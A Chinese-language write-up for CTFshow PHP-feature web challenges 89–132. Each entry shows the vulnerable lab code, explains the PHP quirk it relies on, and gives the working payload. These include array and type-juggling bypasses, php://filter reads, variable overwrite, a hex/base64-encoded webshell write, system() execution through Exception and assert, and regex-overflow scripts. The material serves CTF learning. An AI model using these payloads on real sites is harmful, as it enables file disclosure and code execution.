CTFshow的PHP特性
本文最后更新于 26 天前,其中的信息可能已经有所发展或是发生改变。

Web 89

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
  $num = $_GET['num'];
  if(preg_match("/[0-9]/", $num)){
      die("no no no!");
  }
  if(intval($num)){
      echo $flag;
  }
}

intval函数:如果他的值为一个数组,只要数组里面有值,那么不论值的数量,返回值都为1,空数组则返回0

preg_match() 函数:利用数组绕过正则匹配,使其返回值发生错误而为false

所以利用数组绕过

payload:?num[]=1

Web 90

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
  $num = $_GET['num'];
  if($num==="4476"){
      die("no no no!");
  }
  if(intval($num,0)===4476){
      echo $flag;
  }else{
      echo intval($num,0);
  }
}

===强类型对比,可以使用进制转换进行绕过。补充==:弱类型对比,添加+符号或者.0也成立。

intval($num,0): 如果 base 是 0,通过检测 var 的格式来决定使用的进制: 如果字符串包括了 “0x” (或“0X”) 的前缀,使用 16 进制 (hex);否则, 如果字符串以 “0” 开始,使用 8 进制(octal);否则, 将使用 10进制 (decimal)。

payload:?num=010574(采用八进制4476绕过)

Web 91

<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
  if(preg_match('/^php$/i', $a)){
      echo 'hacker';
  }
  else{
      echo $flag;
  }
}
else{
  echo 'nonononono';
}

正则表达式修饰符

i 
不区分(ignore)大小写

m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。

s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = "abggab\nacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg b\n bs

A
强制从目标字符串开头匹配;

D
如果使用$限制结尾字符,则不允许结尾有换行;

e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
payload:?cmd=%0aphp(满足第一个和第二个if绕过第二个匹配)

Web 92

 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
  $num = $_GET['num'];
  if($num==4476){
      die("no no no!");
  }
  if(intval($num,0)==4476){
      echo $flag;
  }else{
      echo intval($num,0);
  }
}

这边是:

  • ==:弱类型对比,使用浮点数则使得==不成立;
  • intval()将浮点数转化为整型,使得条件成立。
payload:?num=4476.1
也可以十六进制绕过
?num=0x17c

Web 93

 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
  $num = $_GET['num'];
  if($num==4476){
      die("no no no!");
  }
  if(preg_match("/[a-z]/i", $num)){
      die("no no no!");
  }
  if(intval($num,0)==4476){
      echo $flag;
  }else{
      echo intval($num,0);
  }
}

把a-z过滤了,十六进制绕过不可用了,可以使用浮点类型绕过

payload:?num=4476.1
八进制绕过也可以
?num=010574

Web 94

 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
  $num = $_GET['num'];
  if($num==="4476"){
      die("no no no!");
  }
  if(preg_match("/[a-z]/i", $num)){
      die("no no no!");
  }
  if(!strpos($num, "0")){
      die("no no no!");
  }
  if(intval($num,0)===4476){
      echo $flag;
  }
}

注意这里的 !strpos(), strops() 返回对应字符第一次出现的位置,如果我们使用八进制 010574, strpos(“010574”, “0”) 返回0, 也就是 false, 加了 ! 后反而变成 true 采用小数点绕过,使用 4476.0, 第一个if语句因为是强等于号,可以绕过,第四个if因为 intval() 是一个取整函数, 非整数部分都会被截断, 包括字符串

payload:?num=4476.0

Web 95

 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
  $num = $_GET['num'];
  if($num==4476){
      die("no no no!");
  }
  if(preg_match("/[a-z]|\./i", $num)){
      die("no no no!!");
  }
  if(!strpos($num, "0")){
      die("no no no!!!");
  }
  if(intval($num,0)===4476){
      echo $flag;
  }
}

看到还绕过了’.’所以小数点绕过用不了了,所以采用%0a和八进制绕过,利用换行绕过,换行不会影响strpos匹配相应的字符。

payload:?num=%0a010574
也可+和八进制绕过
?num=+010574

Web 96

<?php
highlight_file(__FILE__);

if(isset($_GET['u'])){
  if($_GET['u']=='flag.php'){
      die("no no no");
  }else{
      highlight_file($_GET['u']);
  }
}

直接利用php伪协议读就完事了

payload:?u=php://filter/convert.base64-encode/resource=flag.php

Web 97

<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

md5弱类型比较可以直接数组绕过,其结果都会转换为null

a[]=1&b[]=0

Web 98

<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

& 为 php 的引用,在PHP 中引用的意思是: 不同的名字访问同一个变量内容. 与C语言中的指针是有差别的. C语言中的指针里面存储的是变量的内容, 在内存中存放的地址.

• 如果 $GET 存在且为真,它会将 $GET 赋值为 $POST,(即下面的 $GET 全部都当作 $_POST),否则为flag

• 然后判断 $POST[‘flag’] 的内容是否为 flag, 是的话把 $COOKIE 的引用给 $GET (即下面的 $GET 全部都当作 $COOKIE)

• 然后判断 $COOKIE[‘flag’] 的内容是否为 flag, 是的话把 $SERVER 的引用给 $GET (即下面的 $GET 全部都当作 $_SERVER’)

  1. 看懂三元运算符,其格式为:(expr1) ? (expr2):(expr3)。如果expr1为true,则执行expr2;否则,执行expr3。
  2. 故只要随便让GET进行传参,然后将HTTP_FLAG=flag使用POST传输,最后$_GET[‘HTTP_FLAG’]=flag。 _
  3. _ FILE:取得当前文件的绝对地址。
get随意传,post传HTTP_FLAG=flag
也可通过抓包改包,按他的顺序走

Web 99

<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
  array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
  file_put_contents($_GET['n'], $_POST['content']);
}

?>

array_push():向数组尾部插入一个或多个元素。

rand():生成随机数。

in_array(参数1,参数2):搜索数组中是否存在指定的值。第一个参数为要搜索的值,第二个参数为被搜索的数组。

file_put_conntent(filename, data):把一个字符串写入文件中。

绕过in_array():当没有指定第三个参数的时候,in_array就相当于==,弱类型对比。

?n=2.php
content=<?php system('ls');?>

/2.php(flag36d.php)
content=<?php system('cat flag36d.php;?>

Web 100

 <?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
  if(!preg_match("/\;/", $v2)){
      if(preg_match("/\;/", $v3)){
          eval("$v2('ctfshow')$v3");
      }
  }
   
}

?>

is_numeric():用于检测变量是否为数字或数字字符串。因为赋值=的优先级比and优先级高,所以先执行赋值,也就是说V0的值由is_numeric($v1)决定。

所以直接拼接,因为flag在类中,所以可以直接var_dump整个类

?v1=123&v2=print_r($ctfshow)&v3=;

Web 101

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
  if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
      if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
          eval("$v2('ctfshow')$v3");
      }
  }
}

正则的东西还挺多,这边看到使用反射类去读类中的flag

反射(Reflection) 是一种允许程序在运行时检查自身结构的技术。在 PHP 中,反射类主要用于: 获取类的定义信息,例如类的属性、方法、常量等。 动态调用类的方法。 修改类的属性。 检查函数和方法的参数。 常用的反射类 ReflectionClass:用于获取类的详细信息。 ReflectionMethod:用于获取方法的详细信息。 ReflectionProperty:用于获取属性的详细信息。 ReflectionFunction:用于获取函数的详细信息。 ReflectionParameter:用于获取方法或函数参数的详细信息。

?v1=1&v2=echo new ReflectionClass&v3=;

最后要爆破最后一位的flag

Web 102

 <?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
  $s = substr($v2,2);
  $str = call_user_func($v1,$s);
  echo $str;
  file_put_contents($v3,$str);
}
else{
  die('hacker');
}

?>

is_numeric($var):判断变量是否为数字或数字字符串。

var_dump(is_numeric("0x66"));// 在php5中返回值为true
var_dump(is_numeric("0x66"));// 在php7中返回值为false

substr(string, start):返回字符串的一部分,题目截取两位,所以构造的时候还有记得补两位

call_user_func($callback, parameter):调用函数,第一个参数为被调用的函数,第二个参数为被调用函数所需的参数

file_put_contents(filename, data):把data数据写入filename

hex2bin():将十六进制字符转化为ASCII码字符(hex2bin() 是 PHP 中的一个内置函数,用于将十六进制字符串转换为二进制字符串。返回值:成功时返回转换后的二进制字符串;如果输入的十六进制字符串无效,函数返回 false。十六进制字符串的长度必须是偶数,否则 hex2bin() 会返回 false)

整个payload的逻辑就是将经过base64编码、16进制转换后的webshell赋值给v2(16进制后的shell必须为纯数字),然后调用hex2bin将16进制形式的webshell转化为ASCII码形式(因为base64编码所用的字符属于ASCII,故ASCII码形式的webshell也就是base64形式的webshell),然后再使用php伪协议的过滤器,将base64形式的webshell进行解码后,写入到目标文件中。

<?=`cat *`; base64加密后是PD89YGNhdCAqYDs,
16进制编码之后是5044383959474e6864434171594473(还要补两位)

GET:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php
POST: v1=hex2bin

Web 103

<?php

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
  $s = substr($v2,2);
  $str = call_user_func($v1,$s);
  echo $str;
  if(!preg_match("/.*p.*h.*p.*/i",$str)){
      file_put_contents($v3,$str);
  }
  else{
      die('Sorry');
  }
}
else{
  die('hacker');
}

?>

相比上一题就多了检测php字符串(即检测写入的文件)

一样适用
<?=`cat *`; base64加密后是PD89YGNhdCAqYDs,
16进制编码之后是5044383959474e6864434171594473(还要补两位)

GET:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php
POST: v1=hex2bin

Web 104

<?php

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
  $v1 = $_POST['v1'];
  $v2 = $_GET['v2'];
  if(sha1($v1)==sha1($v2)){
      echo $flag;
  }
}
?>

看到sha()比较,直接数组绕过就完事了

GET:?v2[]=2
POST:v1[]=1

附上官方的payload:
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668

Web 105

<?php

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
  if($key==='error'){
      die("what are you doing?!");
  }
  $$key=$$value;
}foreach($_POST as $key => $value){
  if($value==='flag'){
      die("what are you doing?!");
  }
  $$key=$$value;
}
if(!($_POST['flag']==$flag)){
  die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

变量覆盖漏洞

这里先是定义了a,b两个变量,分别赋值hello和world。接着,$$a表示将变量a的值变成一个变量即$hello,然后将变量b的值赋给它,最后输出world。 所以在源码中看到$$可以想到变量覆盖漏洞。

同时,还有一些函数也会出现变量覆盖,这里我们就先看以下foreach函数 foreach函数会遍历数组,然后将键名与键值分别赋值给后面的变量,这样就容易产生变量覆盖漏洞

foreach($_GET['a'] as $key=>$value){
 
  $$key=$value;
}

这里我传入参数?a=hello,那么就相当于我传入了一组键值对,键名为a,键值为hello(即$key=a,$value=hello),接着执行$$key=$value,这里就会变成$hello=hello

这边进行了变量覆盖

$$key=$$value其实没有用,因为没有定义,并不能二次赋值

if(!($_POST['flag']==$flag)){
  die($error);
}
它首先检查是否存在 $_POST['flag'],也就是POST请求中是否有键为 'flag' 的参数。
然后,它比较 $_POST['flag'] 的值与之前加载的 flag.php 文件中定义的 $flag 变量的值是否相等。
如果这两个值不相等(即 !($_POST['flag']==$flag) 为真),则执行 die($error); 语句,终止脚本执行,并输出 $error 变量的值作为错误信息。

这里利用的是die($error) 来 实 现 的 输 出 , 所 以 让 error)来实现的输出,所以让 error)来实现的输出,所以让key=error也 就 是 suces,也就是 suces同时又因为不满足if所以die被执行,得到flag

GET:?suces=flag
post:error=suces
将suces改为任意也可,关键是覆盖

Web 106

<?php

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
  $v1 = $_POST['v1'];
  $v2 = $_GET['v2'];
  if(sha1($v1)==sha1($v2) && $v1!=$v2){
      echo $flag;
  }
}

?>

sha1(),数组绕过

GET:?v2[]=1
POST:v1[]=0

Web 107

<?php

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
  $v1 = $_POST['v1'];
  $v3 = $_GET['v3'];
      parse_str($v1,$v2);
      if($v2['flag']==md5($v3)){
          echo $flag;
      }

}

?>
parse_str($v1,$v2); //把v1的值相应的换成键值对再存入v2
例如:v1=flag=114 那么v2=flag并且值为114(键为flag值为114)
v1=flag=114&index=300的话,
v2就变成一个数组,内容为flag-->114     index-->300(分为这两个键值对)

可以理解为v1的值会赋值给v2
md5()`数组绕过,将数组传入`md5()`会返回`null
GET:?v3[]=1
POST:v1=flag

Web 108

<?php

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
  die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
  echo $flag;
}

?>

ereg()限制password的格式,只能是数字或者字母。但ereg()函数存在NULL截断漏洞,可以使用%00绕过验证。

这里ereg有两个漏洞:

①%00截断及遇到%00则默认为字符串的结束

②当ntf为数组时它的返回值不是FALSE

strrev()反转字符串

==支持不同的进制进行比较,就比如16==0x10,这是true

GET:?c=b%00778

Web 109

<?php

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
  $v1 = $_GET['v1'];
  $v2 = $_GET['v2'];

  if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
          eval("echo new $v1($v2());");
  }

}

?>

解释:

正则表示式中+表示匹配前面的元素一次或多次

toString()方法,将一个对象作为字符串使用时(echo <一个对象>),php会自动调用该对象的 toString()方法来获取字符串表示。注意,__toString()方法在对象被隐式转换为字符串时(echo <一个对象>)才会触发,如果直接调用该方法,不会有任何效果 php中,自带 __toString()方法的内置类有:DataTimeExceptionSimpleXMLElement

Exception 处理用于在指定的错误发生时改变脚本的正常流程,是php内置的异常处理类 通过异常处理类Exception(system(‘cmd’))可以运行指定代码,并且能返回运行的结果

DataTime

SimpleXMLElement

?v1=Exception&v2=system('ls')
?v1=Exception&v2=system('tac fl36dg.txt')
?v1=DataTime&v2=system('ls')

Web 110

<?php

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
  $v1 = $_GET['v1'];
  $v2 = $_GET['v2'];

  if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
          die("error v1");
  }
  if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
          die("error v2");
  }

  eval("echo new $v1($v2());");

}

?>
filesystemiterator 遍历文件类(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DirectoryIterator 遍历目录类

getcwd()函数 获取当前工作目录 返回当前工作目录
?v1=FilesystemIterator&v2=getcwd

Web 111

<?php

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
  eval("$$v1 = &$$v2;");
  var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
  $v1 = $_GET['v1'];
  $v2 = $_GET['v2'];

  if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
          die("error v1");
  }
  if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
          die("error v2");
  }
   
  if(preg_match('/ctfshow/', $v1)){
          getFlag($v1,$v2);
  }
 
}

?>

在PHP中,$a 本身表示一个变量名,而 &$a 并不是表示“a的位置”,而是表示对 $a 变量的引用。(在这里可以认为是地址)

getflag函数

eval("$$v1 = &$$v2;");
//将v2的地址传给v1
var_dump($$v1);
//打印v1

URL 传参时 $v2 不能直接传为 flag,否则 $flag 会因“函数内部无法调用外部变量”的限制而导致其返回 null

要想跨过词法作用域的限制,我们可以用 GLOBALS 常量数组,其中包含了 $flag 键值对,就可以将 $flag 的值赋给 $$v1

且必须有ctfshow

?v1=ctfshow&v2=GLOBALS

Web 112

<?php

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
  if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
      die("hacker!");
  }else{
      return $file;
  }
}
$file=$_GET['file'];
if(! is_file($file)){
  highlight_file(filter($file));
}else{
  echo "hacker!";
}

is_file()检查file是不是文件

看到过滤的东西,自动联想到伪协议

?file=php://filter/resource=flag.php

Web 113

 <?php

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
  if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
      die('hacker!');
  }else{
      return $file;
  }
}
$file=$_GET['file'];
if(! is_file($file)){
  highlight_file(filter($file));
}else{
  echo "hacker!";
}

看到过滤了filter,考虑换利用压缩流读取

?file=compress.zlib://flag.php

官方的是目录溢出让is_file测不出file是文件

/proc/self:不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。/proc/self/root/是指向/的符号链接,就是根目录。
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
暂时还不是很理解为什么,但是确实可以,可能是函数本身存在的漏洞

Web 114

<?php

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
  if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
      die('hacker!');
  }else{
      return $file;
  }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
  highlight_file(filter($file));
}else{
  echo "hacker!";
}

发现又可以用filter了

?file=php://filter/resource=flag.php

Web 115

 <?php

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
  $num=str_replace("0x","1",$num);
  $num=str_replace("0","1",$num);
  $num=str_replace(".","1",$num);
  $num=str_replace("e","1",$num);
  $num=str_replace("+","1",$num);
  return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
  if($num=='36'){
      echo $flag;
  }else{
      echo "hacker!!";
  }
}else{
  echo "hacker!!!";
}

将0x,0, . ,e,+都进行了替换,同时还要满足

is_numeric($num) and $num!==’36’ and trim($num)!==’36’ and filter($num)==’36’

trim() 函数移除字符串两侧的空白字符或其他预定义字符。一般是用来去除字符串首尾处的空白字符(或者其他字符),一般在用在服务端对接收的用户数据进行处理,以免把用户误输入的空格存储到数据库,下次对比数据时候出错

关键就在于如何绕过这个trim()

trim函数会过滤空格以及\n\r\t\v\0,但不会过滤\f

fuzz一下

<?php
for($i = 0; $i<129; $i++){
$num=chr($i).'36';
if(trim($num)!=='36' && is_numeric($num) && $num!=='36'){
echo urlencode(chr($i))."\n";
}
}
?>
?num=%0c36

Web 116

<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
  if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
        eval("$c".";");  
        if($fl0g==="flag_give_me"){
            echo $flag;
        }
  }
}
?>

必须传CTF_SHOW,CTF_SHOW.COM 不能有fl0g

此处的php特性:在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了,such as:CTF[SHOW.COM=>CTF_SHOW.COM 因为点会被转义,所以才要使用特性使点不转义

CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

argv后面会补充

argv是数组,argc是数字。
可通过var_dump($_SERVER);和var_dump($argv);语句查看

argv有独立GET之外获取参数的作用。比如传入?aaa+bbb   argv(数组)两个元素

是aaa和bbb。argc是数组的长度。

php中有些文件(pearcmd.php)是通过argv和argc来获取参数的。
web网页模式下

在web页模式下必须在php.ini开启register_argc_argv配置项

设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果,题目中应该是On

这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
//$_SERVER[‘argv’][0]就是a[0]

$argv,$argc在web模式下不适用
cli模式(命令行)下

第一个参数总是当前【脚本】的文件名,因此 $argv[0] 就是脚本文件名。

当把php作为脚本,使用这个命令执行:php script.php arg1 arg2 arg3

以上示例的输出类似于:
array(4) {
[0]=>
string(10) "script.php"
[1]=>
string(4) "arg1"
[2]=>
string(4) "arg2"
[3]=>
string(4) "arg3"
}
然后现在是网页模式
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
//$_SERVER[‘argv’][0]就是a[0]
利用$_SERVER['argv'][0] 就可以绕过对**isset($fl0g)**的判断,用+代表空格

Web 125

<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
  if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
        eval("$c".";");
        if($fl0g==="flag_give_me"){
            echo $flag;
        }
  }
}
?>

argv

get:
?$fl0g=flag_give_me;&1=flag.php
post:
CTF_SHOW=6&CTF[SHOW.COM=6&fun=highlight_file($_GET[1])

Web 126

<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
  if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
        eval("$c".";");  
        if($fl0g==="flag_give_me"){
            echo $flag;
        }
  }
}

一样用

assert() 断言:

PHP 5
bool assert ( mixed $assertion [, string $description ] )

PHP 7
bool assert ( mixed $assertion [, Throwable $exception ] )

如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行
可见,eval和assert都可以将字符当作代码执行,只不过assert不需要严格遵从语法,比如语句末尾的分号可不加
?$fl0g=flag_give_me
CTF_SHOW=6&CTF[SHOW.COM=6&fun=assert($a[0])

Web 127

 <?php

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
  if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
      return true;
  }else{
      return false;
  }
}

if(waf($url)){
  die("嗯哼?");
}else{
  extract($_GET);
}


if($ctf_show==='ilove36d'){
  echo $flag;
}

extract:从数组中将变量导入到当前的符号表

$url = $_SERVER[‘QUERY_STRING’];

获取当前请求的查询字符串(query string),查询字符串是 URL 中位于问号 (?) 之后的部分,通常包含一个或多个参数和值。

之后对查询字符串采用正则匹配过滤掉了一些符号,符合要求则会将 $GET 数组中的键值对作为变量导入到当前的符号表中。换句话说,extract($GET); 会将 URL 查询参数中的每个键值对转换成同名的变量。

空格还可以使用

fuzz一下也可

<?php
function waf($num){
  if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $num)){
      return false;
  }else{
      return true;
  }
}
for($i = 0; $i<129; $i++){
$num=chr($i);
if(waf($num)){
echo "未编码:".$num."   经过编码:".urlencode(chr($i))."\n";
}
}
?>
?ctf show=ilove36d

Web 128

 <?php

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
  var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
  echo "嗯哼?";
}

function check($str){
  return !preg_match('/[0-9]|[a-z]/i', $str);
}

check($str) 函数检查字符串 $str 是否包含数字或字母,如果包含,返回 false,否则返回 true。 也就是说传入的 f1 不能包含大小写字母和数字。

gettext()拓展函数的用法:
_()是gettext()的拓展函数
在开启相关设定后,_("666")等价于gettext("666"),且就返回其中的参数

<?php
echo gettext(666);   //输出 666
echo "\n";
echo _("666"); //输出 666
?>

[get_defined_vars()函数:返回由所有已定义变量所组成的数组

因为$flag属于是被定义变量的范畴,所以利用

?f1=_&f2=get_defined_vars

Web 129

 <?php

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
  $f = $_GET['f'];
  if(stripos($f, 'ctfshow')>0){
      echo readfile($f);
  }
}

stripos:查找字符串首次出现的位置(不区分大小写的且该函数是二进制安全的)

readfile: 输出文件

/ctfshow/../../../../var/www/html/flag.php
?f=php://filter/|ctfshow/resource=flag.php
?f=/ctfshow/../../../../../../../var/www/html/flag.php

Web 130

 <?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
  $f = $_POST['f'];

  if(preg_match('/.+?ctfshow/is', $f)){
      die('bye!');
  }
  if(stripos($f, 'ctfshow') === FALSE){
      die('bye!!');
  }

  echo $flag;

}

.+?表示匹配任意字符一个或则多个 .*? 表示匹配任意字符0个或多个

匹配前面的子表达式一次或多次。 ? 匹配前面的子表达式零次或一次,或指明一个非贪婪限定符。 /i不区分大小写 /s 匹配任何空白字符,包括空格、制表符、换页符等等。 题中整个正则表达式的意思就是,以任意一个或多个字符开头,遇到ctfshow就匹配,不区分大小写,不能有任何空白字符。

即ctfshow前面不能有任何字符

php特性:

preg_match不识别数组,否则返回false,匹配一次返回1,没有返回0

if(0 === flase)返回值为false0不是强等于false的

stripos()函数对数组不识别,遇到数组会返回false

?f=ctfshow
?f=ctfshow[]
也可以进行目录溢出
import requests
url="xxxxxxxxxxxxxxx"
data={
  'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

Web 131

<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
  $f = (String)$_POST['f'];

  if(preg_match('/.+?ctfshow/is', $f)){
      die('bye!');
  }
  if(stripos($f,'36Dctfshow') === FALSE){
      die('bye!!');
  }

  echo $flag;

}

正则表达式溢出: 大概意思就是在php中正则表达式进行匹配有一定的限制,超过限制直接返回false

import requests
url="xxxxxxxxxxxxxxx"
data={
  'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)

Web 132

dirsearch扫一下出现/robots.txt有个/admin得到源码

<?php

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
  $username = (String)$_GET['username'];
  $password = (String)$_GET['password'];
  $code = (String)$_GET['code'];

  if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
       
      if($code == 'admin'){
          echo $flag;
      }
       
  }
}

mt_rand():使用 Mersenne Twister 算法生成随机整数。相比较于rand()函数其速度更快

